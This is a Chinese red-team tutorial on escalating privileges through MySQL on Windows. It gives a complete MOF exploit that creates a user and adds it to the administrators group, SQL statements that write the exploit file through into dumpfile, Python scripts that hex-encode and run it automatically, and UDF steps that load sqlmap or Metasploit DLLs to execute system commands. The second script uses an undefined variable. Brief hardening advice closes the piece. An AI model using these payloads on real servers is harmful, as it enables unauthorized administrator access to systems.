九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结
写在前边
渗透测试的灵魂归根结底是信息搜集。简单列举一些在搜集的过程中可以利用到MySQL提权的点:
MySQL爆破出弱口令
安装文件泄露导致数据库密码泄露
数据库备份文件泄露
在利用webshell提权的过程中可用的提权方式有限
站库分离
spring boot内存dump文件泄露
sqlmap 注入的 --sql-shell 命令
......
下文将会通过对MySQL环境下一些提权场景的复盘,帮助大家梳理存在的威胁和加固建议。希望通过本文的介绍,大家能有所收获~
一
MOF提权(Windows)
1.提权条件
适用于Windows Server 2003/XP 等 Windows低版本。
拥有MySQL的root权限。
secure_file_priv为空,且不为NULL或指定目录(MySQL 全局配置,为空不做目录限制,为NULL禁止导入导出)。
2.利用原理
mof是Windows系统的一个文件,在C:/WINDOWS/system32/wbem/mof/文件夹下被执行,叫做托管对象格式,会以间隔5秒的时间监控进程的创建和死亡。
MOF提权过程就是利用现有的提权条件,将新的mof文件写入到C:/WINDOWS/system32/wbem/mof/目录下,然后被执行(其中mof文件中包含要执行的系统命令)。
常见的操作就是利用执行系统命令去创建一个普通用户,再将普通用户添加到管理员用户组,从而拿到管理员权限。
3.提权过程
开始先看下mof文件的编写(exp)规范:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mastersir mastersir /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
*左右滑动查看更多
执行命令的关键在于net.exe user mastersir mastersir /add,用来创建一个mastersir用户。创建成功后,再将这句命令改为“net.exe localgroup administrators mastersir /add”后,再次上传,达到创建mastersir用户并将其加入administrators组的目的。
检查条件:
查看服务器版本:
Figure 1:
查看用户权限:
select user();
Figure 2:
查看secure_file_priv为空。
SHOW VARIABLES LIKE "secure_file_priv";
*左右滑动查看更多
Figure 3:
(1) 间接写入式
利用load_file读取上传文件的内容,然后再写入到c:/windows/system32/wbem/mof/文件夹写。
假设通过文件上传传了一个mof文件mof.txt。
Figure 4:
查看当前用户列表:
net user
Figure 5:
写入mof文件:
select load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"
*左右滑动查看更多
Figure 6:
检查创建的用户:
Figure 7:
修改执行命令语句将创建用户加入管理员组:
net.exe localgroup administrators mastersir /add
select load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"
*左右滑动查看更多
查看mastersir用户信息:
Figure 8:
(2) 直接写入式
如果直接将mof代码写入
C:/WINDOWS/system32/wbem/mof/文件夹下的话,里边的字符可能会影响语句的正常执行。MySQL是默认支持十六进制的,可以利用十六进制写入。
坑点:
将构造好的mof代码进行十六进制编码的话再次解码会发现变成了一行,换行消失了。
Figure 9:
可以利用200a来添加换行操作:
Figure 10:
为了满足自己生成执行命令的需要,此处简单写了一个Python脚本:
#!/user/bin/
# -*- coding:UTF-8 -*-
# Author:Master
import binascii
# 可直接修改payload
payload1 = 'net.exe user mastersir mastersir /add'
payload2 = 'net.exe localgroup administrators mastersir /add'
def exp(cmd):
str_16 = binascii.b2a_hex(cmd.encode('utf-8'))
str_16 = str(str_16)[2:-1]
payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b'
return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"
exp1 = exp(payload1)
print('创建用户:' + exp1)
exp2 = exp(payload2)
print('管理员组:' + exp2)
*左右滑动查看更多
构造SQL语句:
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206d6173746572736972363636206d6173746572736972202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';
*左右滑动查看更多
查看用户:
二
UDF提权
1.提权条件
服务器类型:Windows用dll,linux用so。
MySQL版本:MySQL版本>5.1,udf.dll文件必须放置在MySQL的lib\plugin\安装目录下。如果MySQL版本≤5.1,udf.dll文件在system32目录下。
MySQL位数:32位、64位。
有root权限。
2.利用原理
UDF是用户自定义函数,是MySQL的一个拓展接口。可以通过自定义函数在SQL语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让MySQL用函数执行系统命令。
3.提权过程
Figure 11:
查看MySQL版本:
select @@version;
Figure 12:
查看MySQL系统位数:
show variables like '%version_%';
*左右滑动查看更多
Figure 13:
查找MySQL插件目录:
show variables like '%plugin%';
# 如果不存在的话可以在webshell中找到 MySQL 的安装目录然后手工创建\lib\plugin文件夹。
*左右滑动查看更多
Figure 14:
(1) 利用sqlmap动态链接库
基于32位MySQL动态链接库
文件位置:
/Users/sqlma/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_(编码过得dll,利用cloak.py解码)
/Users/sqlmap/extra/cloak/cloak.py(解码dll)
解码命令:
# 解码32位的Windows动态链接库
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
*左右滑动查看更多
查看32位MySQL动态链接库包含的函数:
Figure 15:
查询MySQL根目录:
select @@basedir;
Figure 16:
将dll文件以十六进制的形式写入plugin目录下。
SELECT 0x4d5a90000······300000000000 INTO DUMPFILE 'D:/phpStudy/MySQL/lib/plugin/mastersir.dll';
*左右滑动查看更多
Figure 17:
查看目录下写入情况:
Figure 18:
调用自定义函数:
# 引入自定义的dll
create function sys_eval returns string soname "mastersir.dll";
# 查看MySQL函数里面是否新增了sys_eval方法
*左右滑动查看更多
Figure 19:
执行系统命令:
select sys_eval('net user');
*左右滑动查看更多
Figure 20:
删除自定义函数:
drop function sys_eval;
(2) 利用MSF动态链接库
利用MSF的动态链接库是一样的方法,但是MSF的dll是不需要解密的,这里只提MSF的dll文件位置(Mac环境下)。
/opt/metasploit-framework/embedded/framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
*左右滑动查看更多
三
拓展
MOF脚本拓展
有payload怎么能不自动化,基于上文的payload脚本简单修改一下:
#!/user/bin/
# -*- coding:UTF-8 -*-
# Author:Master先生
import binascii
import pymysql
payload1 = 'net.exe user mastersir mastersir /add'
payload2 = 'net.exe localgroup administrators mastersir /add'
def exp(cmd):
str_16 = binascii.b2a_hex(cmd.encode('utf-8'))
str_16 = str(str_16)[2:-1]
payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b'
return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"
exp1 = exp(payload1)
db = pymysql.connect(host='127.0.0.1',user='root',password='root',database='information_schema')
cursor = db.cursor()
cursor.execute(exp1)
exp1 = exp(payload2)
cursor.execute(exp2)
db.close()
*左右滑动查看更多
此处简单写了MOF的脚本拓展,UDF大家可根据内容进行自行尝试。
四
MySQL提权的防护
1.使用高版本的Windows Server。
1)限制导出权限
2)增加root账号的密码强度
3)经常性的对网站进行测试,保证网站的安全性
2.查看mysql数据库中user表授权的登录host,禁止具备root账号权限的用户通过“%”进行登录。
3.增加root账号的密码强度。
4.限制数据库用户的创建文件上传文件等权限,配置MySQL不允许外连。
— 往期回顾 —